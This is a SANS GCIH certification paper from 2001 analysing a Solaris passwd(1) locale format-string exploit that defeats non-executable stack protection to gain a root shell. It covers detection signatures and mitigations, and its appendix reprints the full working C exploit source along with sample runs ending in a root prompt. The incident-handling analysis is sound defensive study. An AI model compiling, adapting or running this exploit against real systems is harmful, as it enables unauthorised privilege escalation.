Global Information Assurance Certification Paper

Advanced Incident Handling and Hacker Exploits
GCIH Practical Assignment
Steve Ellis SANS New Orleans 2001

Solaris passwd(1) Non-Executable Stack Locale Exploit

Steve Ellis
3 April 2001

Exploit Details

Name: local_nonexec_sun.c [1], a Solaris passwd(1) exploit.

Variants: none

Operating System: SPARC Solaris 2.6, 7, 8

Protocols/Services: Compromises passwd(1), the standard user accessible program used to maintain login passwords and password attributes.

Description: Grants superuser access via use of the passwd(1) command [2].

Please note -- The (1) notation above indicates that the passwd command is documented in section one of the UNIX (in this case Solaris) manual pages. Manual pages are displayed with the use of the man(1) command, for example, on a system with the manual pages installed one could use:

```
$ man man
```

(User typing is shown in **bold.**)

The example command shown above will display the manual pages for the man command. The "$" on the line above is the standard prompt character for the UNIX bourne, korn or bash command line interpreters, commonly referred to as shell programs. The [2] notation refers to the online reference manual pages listed in References at the end of this paper.

Service Description:

The Solaris passwd(1) command is used to change a local users login password or allow administrators to modify password attributes. The passwd(1) command is also used in some installations to change the contents of alternate sources of user authentication mechanisms such as LDAP or NIS.

As part of the standard Solaris installation, root access is granted while passwd(1) is in operation. Such commands are called "SUID root", referring to the fact that the operating system Sets the User ID of the process to the superuser (root).

Description of variants:

The use of the passwd(1) command makes this exploit unique and particularly troublesome.

How the exploit works:

The passwd(1) exploit uses a combination of techniques. It follows another locale exploit[3] by Warning3. That exploit used the eject(1) command and was posted shortly after the locale vulnerability[4] was announced by Ivan Arce at CORE-SDI.

This new exploit compromises the Solaris passwd(1) command and uses a technique[5] which permits a user to avoid operating system protection and/or detection of the incident.

Warning3, the author of this exploit gives credit to Ivan Arce and John McDonald for their major contributions to the design of the program.

The locale format string vulnerability disclosed by Ivan Arce in [4] provides the mechanism for the introduction of a generic exploit. John McDonald's paper[5] describes in detail how to avoid the non-executable stack protections available in recent versions of Solaris.

In summary, the exploit uses a buffer overwrite[6] to modify the stack inside a function called by an overly trusty library routine. The library routine accepts a users re-direction to a local file for the source of error messages. Since the passwd(1) program is SUID root, superuser access is attained.

Buffer overwrites take advantage of the printf(3) function[7] "`%n`" format specification to write arbitrary values to arbitrary locations in memory. When a vulnerable program passes received input directly to the printf(3) function that program can be coerced into changing the contents of the memory locations being used by the program.

As described in [6], the buffer overwrite can be used to change contents of the stack.

The stack is an area of computer memory used to store the parameters, return address, and local variables for the function or procedure currently being run by the program. The ability to overwrite the portion of the stack containing the return address is the key to attacks using this technique. The use of the stack for parameter passing and other aspects of function calls is described in considerable detail in [5] and is described in the comments in the exploit source code[1].

Traditional buffer overflow exploits overwrite the stack with code that is executed when the exploited function attempts to return to the normal flow of control within the program. This type of exploit can be defeated by operating system settings that are discussed below.

The techniques used in this exploit instead create a stack that change the flow of control within the program to a specific target which happens to be available within the shared libraries in use by the vulnerable program. The stack is not used as a source of executable code.

When the printf(3) function completes, instead of returning to the normal location, it has been tricked into transferring control elsewhere within the program. In this case, elsewhere has been arranged to be a section of program code which behaves as if it was called normally. All of the parameters are in place for it to replace the running image of the passwd(1) command with an interactive command interpreter.

In this exploit, a string is carefully composed to overwrite the stack of an invocation of printf(3) used by the passwd(1) command. This string is used by the password(1) command because it is configured into a local version of an error message string database as described in [4]. Once the environment is prepared, the passwd(1) command is run from within the exploit program using an option that guarantees that it will print the special error message.

Processes in UNIX systems (Solaris is an implementaion by Sun of UNIX System V R 4) must be started by a so called parent process. A process may be anything from a core operating system component to an ordinary user command.

Most processes started by a normal user in a command line environment are started as a result of input of the name of a command by that user to an interactive command line processor (shell). Typically, these processes are started in a way that will cause the return to the parent process when the child process completes. This is shown schematically below where the arrows indicate the flow of control associated with the nested processes:

- `Shell Process in control and starts child process`
- → `Child process in control`
- ← `Control returned back to the parent (shell) process when the child completes.`

Processes may also be started in a way that differs from the above scheme. Instead of temporarily relinquishing control to a child process, the parent process is replaced by the new process. This is the method used by this exploit through the use of the execl(2) function. In this case the child process is substituted for the parent process and inherits all of the rights and environment of the parent process. This is shown schematically below:

- `Shell Process replaced by → Child process`

Shells can also create so called background processes which operate asynchronously. In this case, the shell does not wait for the child process to complete and both processes operate simultaneously. This is how the many of the core processes that manage the overall function of the operating system are started.

How to use the exploit:

The source code available at [1] must be compiled and then linked with the same dynamically linked libraries as are used with the passwd(1) command. Compilation instructions are given in comments near the start of the source code.

Minor changes to the source are required to provide a fully functioning exploit. The exploit has been compiled and run under Solaris 8 on a sun4u platform.

The program, compiled as "ex", makes available three command line parameters to adjust the size (-n), location (-o) and alignment (-a) of the contrived stack.

Running the program without using any of the parameters results in the use of the compiled-in defaults. This results in an internal program error as shown in the example below.

```
$ ./ex
len = 0x4f
SHELL address = 0xffbexxxx
Using execl() address : 0xff11xxxx
Using RETloc address = 0xffbexxxx,  fp_addr = 0xffbexxxx  ,align=
0
Bus Error
$
```

Some experimentation with the –a, –o and –n parameters is required. The actual values used for the –a, -o, –n and portions of memory addresses have been replaced with "x" in the following example.

```
$ ./ex -a x -o x –n x
len = 0x4f
SHELL address = 0xffbexxxx
Using execl() address : 0xff11xxxx
Using RETloc address = 0xffbexxxx,  fp_addr = 0xffbexxxx  ,align=
0
usage:
        passwd [-r files | -r nis | -r nisplus] [name]
        passwd [-r files] [-egh] [name]
        passwd [-r files] -sa
        passwd [-r files] -s [name]
```

```
        passwd [-r files] [-d|-l] [-f] [-n min] [-w warn] [-x
max] name
        passwd -r nis [-egh] [name]
        passwd -r nisplus [-egh] [-D domainname] [name]
        passwd -r nisplus -sa
        passwd -r nisplus [-D domainname] -s [name]
        passwd -r nisplus [-l] [-f] [-n min] [-w warn] [-x max]
[-D domainname]
name
Invalid combination of options
#
```

As you can see, the password(1) command prints an error message, but instead of returning the user to their shell, the "#" prompt (instead of "$") on the last line of the example above shows that the user now has a root shell. The "#" is the standard ksh(1) shell prompt for the root user.

Signature of the attack

A successful attack will not trigger logging of an attempt to execute code on the stack even with the inclusion of the following directive in /etc/system:

```
set noexec_user_stack_log=1
```

However, some experimentation with program arguments will probably be required to tune the exploit. With the above directive in place, the `/usr/adm/messages` log file may include lines similar to:

```
Jan 01 001:00:00 host00 genunix: [ID 533030 kern.notice] NOTICE:
passwd[16932] attempt to execute code on stack by uid 1000
```

This message indicates that a process running with a real user id of 1000 has caused the passwd(1) command to attempt to execute instructions on the stack. During the course of experimenting with command line options for the exploit, several instances of this message were logged.

Monitoring of processes running as root using the ps(1) command [8]may reveal the instance of a root shell (in this case /bin/ksh). If the output of the ps(1) command is filtered to search for root shells, further use of the ps command can reveal the parent process of the root shell. If the parent process does not belong to a person who would normally have access to the root account, a compromise is indicated.

For example, one first uses ps(1) and egrep(1) to search for a root shell. In this example, egrep(1) is used to filter for two elements:

- Lines which contain the fixed character string "`PID`" that is known to appear in the heading of the ps(1) display.

- Lines which contain character string that include the sequence "`root`" followed by any number of characters (indicated by "`.*`") which are followed by the sequence "`sh`" which must be at the end of the line (indicated by "`$`").

```
$ ps -ef | egrep 'PID|root.*sh$'
     UID   PID  PPID   C    STIME TTY      TIME CMD
    root 16935 16929   0 01:00:00 pts/5    0:00 /bin/ksh
```

The filters used will find and list lines corresponding to root shells for any of the usual shells used in Solaris because all of the shell command line interpreters have names that end in "`sh`".

The parent process id (PPID) column (value: 16929) in the display above lists the process id (PID) of the parent process of this instance of /bin/ksh. Using the ps(1) command again, but filtering for the PPID yields the following:

```
$ ps -ef | egrep 'PID|16929'
     UID    PID   PPID   C    STIME TTY      TIME CMD
    john  16929     1    0 00:55:00 pts/5    0:00 -ksh
    root  16935 16929    0 01:00:00 pts/5    0:00 /bin/ksh
```

The processes displayed above shows that the user john has a login shell started at 00:55 (PID 16929) This login shell process is also the parent process of an active root shell (PID 16935) started at 01:00.

While the displays above have been modified slightly, similar results would be seen on a similarly compromised system.

A final signature is that the exploit creates two files that are used to store the special error message which is used to overwrite the stack.

The first file (`messages.po`) has a size of 411 bytes. It is created directly by the exploit program.

The second file, (SUNW_OST_OSLIB) has a size of 410 bytes. It is created from the original `messages.po` to provide the correctly formatted form for the error messages database.

How to protect against it:

In his advisory[4], Ivan Arce, gives examples of both good and bad coding practices using the printf(3) family of functions. Fr example, the vulnerability can be avoided if the programmer simply uses the following form of printf(3):

```
printf("%s", inputString);
```

The insecure usage of printf(3) to be avoided is illustrated by the following form:

```
printf(inputString);
```

Use of the secure method will remove the vulnerability, but we will have to wait for an update from the software vendor for this fix to be implemented.. As described in [4], this exploit makes use of the fact that a specific library function, gettext(3), uses printf(3) in the insecure fashion. In addition, Arce recommends that:

> "A SUID program should not follow the users directives of what database it should use, locale databases should be taken from a secure trusted directory."

This recommendation, when followed, will also prevent the exploit from working. It is the use of the local file containing the error message used by the passwd(1) program which allows the exploit to succeed. The local file contains both a version of the contrived stack and the format printf(3) format specification string which in puts the stack in place. Again, we will have to wait for the software vendor to provide an update which implements such protection.

This exploit defeats the recommended mechanism to disable execution of a code on the stack in Solaris 2.6 and later releases. As described in Sun documentation [9] and in a Sun Blueprints article, also available online [10], one must include the following directive in the `etc/system` file. Following a reboot, the sun4m, sun4d and sun4u platforms are protected against attacks which attempt to directly execute code on the stack.

```
set noexec_user_stack=1
```

The techniques used by the passwd(1) exploit avoid this by contriving a full normal call environment for the target code as described in [5].

As described above, until updates are released by Sun, the workarounds for such vulnerabilities include removing the SUID bit from the mode of the vulnerable program or limiting access to the program with appropriate chgrp(1) and chmod(1) commands.

For example, in the case of an earlier exploit of the eject(1) command [3], it is quite reasonable that on most systems, an ordinary user would not need to be able to use the eject command and the SUID bit could be removed from the mode with:

```
# chmod 555 /usr/bin/eject
```

Alternatively the use of the command could be limited to only members of a specific group such as sysadmin (group 14) with:

```
# chgrp sysadmin /usr/bin/eject
# chmod 4550 /usr/bin/eject
```

The passwd(1) program is more essential for the normal user than eject(1) , but it must be treated the same way. To turn off the setuid bit on /usr/bin/passwd use the following:

```
# chmod 555 /usr/bin/passwd
```

Restricting access to the command to members of the sysadmin group is accomplished by running the following commands:

```
# chgrp sysadmin /usr/bin/passwd
# chmod 4550 /usr/bin/passwd
```

Either method will prevent the exploit from working, but they both necessitate that, from now on: Any user password changes must be made with the assistance of an administrator. This places considerable additional workload on all administrators of these systems.

A method that can be used to cope with the lack of a local password administration utility is to use external login authentication mechanisms such as LDAP or NIS. This method requires that all password administration functions for the LDAP or NIS authentication information repositories be performed from non-vulnerable systems.

Solaris systems can be configured to allow the passwd(1) command to update LDAP and/or NIS. The restrictions on the use of the passwd(1) command must also be applied to these systems.

The passwd(1) program must be readable in order to determine which libraries should be linked with the exploit. It may seem reasonable that simply removing read access to the file containing the command (`/usr/bin/passwd`) will defeat the exploit. However, anyone with access to an unprotected passwd(1) command on a similar system can determine the correct values to use. It is quite likely that the exploit will be compiled on a different system that the one where it is used to gain root access.

While no exploit has yet been published for the su(1) command [9], a prudent system administrator would limit use of this and any other required SUID programs to members of an administrator group. Variants of BSD UNIX restrict access to the su(1) command to members of the wheel group precisely because of concerns about SUID root programs. The su(1) command allows one to switch user identity without having to log out and log in again and is the primary tool used by administrators to act as the root user.

Source code:

The source code for this exploit is available at [1]. For convenience, it is included in the appendix of this paper.

The approach taken is quite similar to earlier exploits against other commands and is described in detail in [5] and [12].

It first creates a fake stack frame in the environment of the program. The exact size and placement of this stack is tuned by using the command line arguments described above. The object is to force a return into a system call function named execl(2) [13] during execution of the vulnerable command.

The address of the execl(2) function can determined within the exploit because it has been linked with the same libraries as the passwd(1) command. Arguments for the execl(2) function have been included in the modified stack which will cause it to replace the passwd(1) command with the interactive command interpreter /bin/ksh.

Next, values for the error messages database, with its payload of the modified stack frame and a carefully crafted printf(3) argument are written to a local file (`messages.po)`. A system utility program (`/usr/bin/msgformat`) is used to create a version of this file that has been formatted to match the specifications for the locale messages database. The resulting file (`SUNW_OST_OSLIB`) has a name which will cause it to be read and its contents used by the passwd(1) command in order to print error messages. A final adjustment to the `SUNW_OST_OSLIB` file is made by a direct write to a specific location in the file.

The vulnerable passwd(1) command is then started by the exploit program. The environment of the passwd(1) command has been modified by the exploit. It stipulates, through the setting of the "`NLSPATH`" variable, that the local directory is to be searched for elements of the messages database as described in [4]. An option for the passwd(1) is used ("`-z`") which guarantees that a specific error message will be printed - the error message now in the local file.

When the error message is printed, the trap is sprung. Control does not return to the normal flow of execution in the passwd(1) command. Instead, after printing the error message, the stack, modified by an insecure use of the printf(3) function, causes a jump to the code of the execl(2) system call, with the appropriate arguments to replace the passwd(1) command with a shell (/bin/ksh).

Since the passwd(1) command was started with an effective user id of root, the replacement (/bin/ksh) inherits this escalation of privilege and the user now has a superuser shell and unlimited access to files and programs.

Additional Information:

There are many useful sources of additional information about the techniques used in this exploit. Several references cite a well known description of stack exploits in general[14].

John McDonald's site (http://www.technotronic.com/horizon/) lists a number of resources covering hardware and software documentation of features used by this and other hacks.

There are many excellent references on securing Solaris, but one of the best is the booklet available from The SANS Institute[15].

One of my favourite sites with a Solaris focus is http://www.squirrel.com.

References:

[1] Warning3. "Solaris libc locale bug exploit against non-exec stack".
BugTraq. 14 Nov 2000 URL:
http://www.securityfocus.com/archive/1/144774 (28 Mar 2001)

[2] Solaris man(1) page for passwd(1) command.
URL:
http://docs.sun.com/ab2/coll.40.6/REFMAN1/@Ab2PageView/247119?Ab2Lang=C&Ab2Enc=iso-8859-1 (28 Mar 2001)

[3] Warning3. "expoit for locale format string bug (Solaris 2.x)".
BugTraq. 08 Sep 2000 URL:
http://www.securityfocus.com/archive/1/81137 (28 Mar 2001)

[4] Arce, Ivan. "UNIX locale format string vulnerability"
CORE SDI S.A. Security Advisory. 04 Sep 2000. URL:
http://www.core-sdi.com/advisories/locale_advisory.htm (28 Mar 2001)

[5] McDonald, John. "Defeating Solaris/SPARC Non-Executable Stack Protection".
02 Mar 1999. URL:
http://www.technotronic.com/horizon/stack.txt (28 Mar 2001)

[6] Newsham, Tim. "Format String Attacks"
Guardent Inc. White Paper. Sep 2000. URL:
http://www.guardent.com/rd_whtpr.html (28 Mar 2001)

[7] Solaris man(1) page for printf(3) function. URL:
http://docs.sun.com/ab2/coll.40.6/REFMAN3A/@Ab2PageView/183737?Ab2Lang=C&Ab2Enc=iso-8859-1 (28 Mar 2001)

[8] Solaris man(1) page for ps(1) command. URL:
http://docs.sun.com/ab2/coll.40.6/REFMAN1/@Ab2PageView/278850?Ab2Lang=C&Ab2Enc=iso-8859-1 (28 Mar 2001)

[9] Noorderdraaf, Alex and Watson, Keith . "Solaris Operating Environment Security" Sun Blueprints Online. Jan 2000. URL:
http://www.securityfocus.com/data/library/solaris_security.pdf (28 Mar 2001)

[10] Solaris Tunable Parameters Reference Manual reference to "set noexec_user_stack=1" URL:
http://docs.sun.com/ab2/coll.707.1/SOLTUNEPARAMREF/@Ab2PageView/3787 (28 Mar 2001)

[11] Solaris man(1) page for su(1) command. URL:
http://docs.sun.com/ab2/coll.40.6/REFMAN1M/@Ab2PageView/225877?Ab2Lang=C&Ab2Enc=iso-8859-1 (28 Mar 2001)

[12] Eclipse, Solar. "Exploiting the Libc Locale Subsystem Format String Vulnerability on Solaris/SPARC".
Phreedom Magazine. 10 Oct 2000 URL:
http://www.phreedom.org/view.cgi?id=249 (28 Mar 2001)

[13] Solaris man(1) page for execl(2) system call. URL:
http://docs.sun.com/ab2/coll.40.6/REFMAN2/@Ab2PageView/10436?Ab2Lang=C&Ab2Enc=iso-8859-1 (28 Mar 2001)

[14] One, Aleph."Smashing The Stack For Fun And Profit".
Phrack Vol 49, Issue 7. Undated. URL:
http://www.securityfocus.com/data/library/P49-14.txt (28 Mar 2001)

[15] Pomeranz, Hal (ed). "Solaris Security Step by Step"
The SANS Institute. Version 1.0. 1999

Appendix:

Source code for the exploit[1]:

```
/* exploit for locale subsystem format strings bug In Solaris with noexec
stack.
 * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g.
 * ./ex -o -4 )
 *
 * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-
Z]*\)\.so.*/-l\1/'`
 * usages: ./ex -h
 *
```

```
 * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
 * Thanks for horizon's great article about defeating noexec stack for Solaris.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *           by warning3@nsfocus.com (http://www.nsfocus.com)
 *                                    y2k/11/10
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>

#define BUFSIZE 2048                    /* the size of format string buffer*/
#define BUFF    128                     /* the progname buffer size */
#define SHELL   "/bin/ksh"              /* shell name */
#define DEFAULT_NUM 68                  /* format strings number */
#define DEFAULT_RETLOC 0xffbefb44       /* default retloc address */
#define VULPROG  "/usr/bin/passwd"      /* vulnerable program name */



void usages(char *progname)
{

        int i;
        printf("Usage: %s \n", progname);
        printf("          [-h]            Help menu\n");
        printf("          [-n number]     format string's number\n");
        printf("          [-a align]      retloc buffer alignment\n");
        printf("          [-o offset]     retloc offset\n\n");

}

/* get current stack point address to guess Return address */
long get_sp(void)

 {
        __asm__("mov %sp,%i0");
 }


main( int argc, char **argv )

 {

        char *pattern, retlocbuf[BUFF], *env[11];
        char plat[BUFF], *ptr;
        long sh_addr, sp_addr, i;
        long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;
        long  *addrptr;
        long reth, retl, reth1, retl1;
        FILE *fp;


        extern int optind, opterr;
        extern char *optarg;
        int opt;
```

```
        void *handle;
        long execl_addr, fp_addr, fp1_addr;
        char fakeframe[512];
        char padding[64], pad = 0;
        int env_len, arg_len, len;

        char progname[BUFF];


        strncpy(progname, argv[0], BUFF-1);

        while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
                switch((char)opt)
                {

                        case 'n':
                                num = atoi(optarg);
                                break;

                        case 'a':
                                align = atoi(optarg);
                                break;
                        case 'o':
                                offset = atoi(optarg);
                                break;
                        case '?':
                        case 'h':
                        default:
                                usages(progname);
                                exit(0);
                }

        retloc +=  offset;

        /* get platform info  */
        sysinfo(SI_PLATFORM,plat,256);

        /* Construct fake frame in environ */

        env[0] = "NLSPATH=:.";
        env[1] = padding;      /* padding so that fakeframe's address can be
divided by 4 */
        /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
        env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00
*/
        env[3]=&(fakeframe[40]);/*                     |0x00
*/
        env[4]=&(fakeframe[40]);/*                          |0x00
*/
        env[5]=&(fakeframe[40]);/*                               |0x00
*/
        env[6]=&(fakeframe[44]);/*
|fp2|fp2|fp2|fp2|fp2|fp2*/
        env[7]=SHELL;           /* shell strings */
        env[8]=NULL;

        /* calculate the length of "VULPROG" + argv[1] */
        arg_len = strlen(VULPROG) + strlen("-z") + 2;

        /* calculate the pad nummber .
```

```
         * We manage to let the length of padding + arg_len + "NLSPATH=." can
         * be divided by 4. So fakeframe address is aligned with 4, otherwise
         * the exploit won't work.
         */
        pad = 3 - (arg_len + strlen(env[0]) +1)%4;
        memset(padding, 'A', pad);
        padding[pad] = '\0';

        /* get environ length */
        env_len = 0;
        for(i = 0 ; i < 8 ; i++ )
           env_len += strlen(env[i]) + 1;


       /* get the length from argv[0] to stack bottom
        *
        * +-----------------------+----------+--------+----------+--------+
        * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
        * +-----------------------+----------+--------+----------+--------+
        * ^                                                      ^
        * |__startaddr                                           |__sp_addr
        *
        * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
        *
        *  I find "startaddr" always can be divided by 4.
        *  So we can adjust the padding's size to let the fakeframe address
        *  can be aligned with 4.
        *
        * len = length of "argv" + "env" + "platform" + "program name"
        * if (len%4)!=0, sp_addr - startaddr =  (len/4)*4 + 4
        * if (len%4)==0, sp_addr - startaddr =  len
        * So we can get every entry's address precisely based on startaddr or
sp_addr.
        * Now we won't be bored with guessing the alignment and offset.:)
        */
       len = arg_len + env_len + strlen(plat) + 1
                              + strlen(VULPROG) + 1;
       printf("len = %#x\n", len);

       /* get stack bottom address */

       sp_addr = (get_sp() | 0xffff) & 0xfffffffc;

        /* fp1_addr must be valid stack address */
        fp1_addr = (sp_addr & 0xfffffac0);

        /* get shell string address */
        sh_addr =  sp_addr - (4 - len%4) /* the trailing zero number */
                           - strlen(VULPROG) - strlen(plat)  - strlen(SHELL) -
3 ;

         printf("SHELL address = %#x\n", sh_addr);

        /* get our fake frame address */
        fp_addr = sh_addr - 8*8 - 1;

        /* get execl() address */
        if (!(handle=dlopen(NULL,RTLD_LAZY)))
        {
          fprintf(stderr,"Can't dlopen myself.\n");
          exit(1);
```

```
        }
        if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
        {
          fprintf(stderr,"Can't find execl().\n");
          exit(1);
        }

        /* dec 4 to skip the 'save' instructure */
        execl_addr -= 4;

        /* check if the exec addr includes zero  */
        if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
          !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
        {
          fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
          exit(1);
        }

        printf("Using execl() address : %#x\n",execl_addr);

        /* now we set up our fake stack frame */

        addrptr=(long *)fakeframe;

        *addrptr++= 0x12345678; /* you can put any data in  local registers */
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;

        *addrptr++=sh_addr;     /* points to our string to exec */
        *addrptr++=sh_addr;     /* argv[1] is a copy of argv[0] */
        *addrptr++=0x0;         /* NULL for execl();  &fakeframe[40] */
        *addrptr++=fp1_addr;    /* &fakeframe[44] */
        *addrptr++=fp1_addr;
        *addrptr++=fp1_addr;
        *addrptr++=fp1_addr;    /* we need this address to work  */
        *addrptr++=fp1_addr; /* cause we don't need exec another func,so put
garbage here */

        *addrptr++=0x0;
        /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8
(0xffbexxxx) */
        retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);

        printf("Using RETloc address = 0x%x,  fp_addr = 0x%x  ,align= %d\n",
retloc, fp_addr, align );

        /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-
2|AAAA|retloc|AAAA|retloc+2|*/

       addrptr = (long *)retlocbuf;
        for( i = 0 ; i < 8 ; i ++ )
            *(addrptr + i) = 0x41414141;
        *(addrptr + 1) = retloc - 4;
        *(addrptr + 3) = retloc - 2;
        *(addrptr + 5) = retloc ;
        *(addrptr + 7) = retloc + 2;
```

```
        if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }

        /* Let's make formats string buffer:
         *
|A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|
         */
        ptr = pattern;
        memset(ptr, 'A', 32);
        ptr += 32;

        for(i = 0 ; i < num ; i++ ){
           memcpy(ptr, "%.8x", 4);
           ptr += 4;
        }

        reth = (fp_addr >> 16) & 0xffff ;
        retl = (fp_addr >>  0) & 0xffff




;
        reth1 = (execl_addr >> 16) & 0xffff ;
        retl1 = (execl_addr >>  0) & 0xffff ;


        /* Big endian arch */
        sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn",
             (reth - num*8 -4*8 + align ), (0x10000 +  retl - reth),
             (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));

        if( !(fp = fopen("messages.po", "w+")))
        {
           perror("fopen");
           exit(1);
        }
        fprintf(fp,"domain \"messages\"\n");
        fprintf(fp,"msgid  \"%%s: illegal option -- %%c\\n\"\n");
        fprintf(fp,"msgstr \"%s\\n\"", pattern + align);
        fclose(fp);
        system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po");

        /* thanks for z33d's idea.
         * It seems we have to do like this in Solaris 8.
         */
        i=open("./SUNW_OST_OSLIB",O_RDWR);
        /* locate the start position of formats strings in binary file*/
        lseek(i, 62, SEEK_SET);
        /* replace the start bytes with our retlocbuf */
        write(i, retlocbuf + align, 32 - align);
        close(i);

       execle(VULPROG, VULPROG, "-z", NULL, env);
}  /* end of main */
```

Last Updated: July 28th, 2017

Upcoming Training

Security Awareness Summit & Training 2017	Nashville, TN	Jul 31, 2017 - Aug 09, 2017	Live Event
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Salt Lake City 2017	Salt Lake City, UT	Aug 14, 2017 - Aug 19, 2017	Live Event
SANS New York City 2017	New York City, NY	Aug 14, 2017 - Aug 19, 2017	Live Event
SANS Virginia Beach 2017	Virginia Beach, VA	Aug 21, 2017 - Sep 01, 2017	Live Event
SANS Chicago 2017	Chicago, IL	Aug 21, 2017 - Aug 26, 2017	Live Event
Community SANS Memphis SEC504	Memphis, TN	Aug 21, 2017 - Aug 26, 2017	Community SANS
SANS Adelaide 2017	Adelaide, Australia	Aug 21, 2017 - Aug 26, 2017	Live Event
Mentor Session AW - SEC504	Milwaukee, WI	Aug 23, 2017 - Sep 29, 2017	Mentor
Mentor Session AW - SEC504	New York, NY	Aug 24, 2017 - Sep 08, 2017	Mentor
Mentor Session - SEC504	Denver, CO	Aug 29, 2017 - Oct 10, 2017	Mentor
SANS San Francisco Fall 2017	San Francisco, CA	Sep 05, 2017 - Sep 10, 2017	Live Event
SANS vLive - SEC504: Hacker Tools, Techniques, Exploits and Incident Handling	SEC504 - 201709,	Sep 05, 2017 - Oct 12, 2017	vLive
SANS Tampa - Clearwater 2017	Clearwater, FL	Sep 05, 2017 - Sep 10, 2017	Live Event
SANS Network Security 2017	Las Vegas, NV	Sep 10, 2017 - Sep 17, 2017	Live Event
SANS Dublin 2017	Dublin, Ireland	Sep 11, 2017 - Sep 16, 2017	Live Event
Mentor AW - SEC504	Santa Clara, CA	Sep 11, 2017 - Sep 22, 2017	Mentor
Mentor Session - SEC504	Arlington, VA	Sep 20, 2017 - Nov 01, 2017	Mentor
Community SANS Columbia SEC504	Columbia, MD	Sep 25, 2017 - Sep 30, 2017	Community SANS
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
Rocky Mountain Fall 2017	Denver, CO	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS SEC504 at Cyber Security Week 2017	The Hague, Netherlands	Sep 25, 2017 - Sep 30, 2017	Live Event
Mentor Session - SEC504	Boston, MA	Sep 26, 2017 - Nov 07, 2017	Mentor
SANS DFIR Prague 2017	Prague, Czech Republic	Oct 02, 2017 - Oct 08, 2017	Live Event
Mentor Session AW - SEC504	Houston, TX	Oct 02, 2017 - Dec 11, 2017	Mentor
Mentor Session - SEC504	Columbia, SC	Oct 03, 2017 - Nov 14, 2017	Mentor
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
SANS Phoenix-Mesa 2017	Mesa, AZ	Oct 09, 2017 - Oct 14, 2017	Live Event
Community SANS Chicago SEC504	Chicago, IL	Oct 09, 2017 - Oct 14, 2017	Community SANS